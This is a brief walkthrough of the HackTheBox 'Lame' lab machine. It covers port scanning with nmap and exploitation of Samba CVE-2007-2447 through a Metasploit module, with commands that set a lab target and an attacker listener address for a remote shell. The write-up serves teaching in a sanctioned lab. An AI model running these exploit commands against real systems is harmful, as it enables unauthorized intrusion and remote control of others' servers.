Complete walkthrough of the Lame machine on HackTheBox. Learn about Samba vulnerability exploitation and privilege escalation techniques.

HackTheBox: Lame Machine Walkthrough

Introduction

The Lame machine on HackTheBox is one of the most popular beginner machines. It teaches fundamental penetration testing concepts including network enumeration and exploitation of known vulnerabilities.

Reconnaissance

First, we perform a network scan to identify open ports:

nmap -sV -p- 10.10.10.3

Vulnerability Discovery

The machine is running Samba with a known vulnerability (CVE-2007-2447). This vulnerability allows unauthenticated remote code execution.

Exploitation

Using the Metasploit framework, we can exploit this vulnerability:

msfconsole
use exploit/linux/samba/usermap_script
set RHOSTS 10.10.10.3
set LHOST 10.10.14.x
exploit

Post-Exploitation

After gaining initial access, we can escalate privileges and read the flag.

Key Learnings

Importance of service enumeration
Understanding known CVEs
Proper exploitation techniques
Privilege escalation methods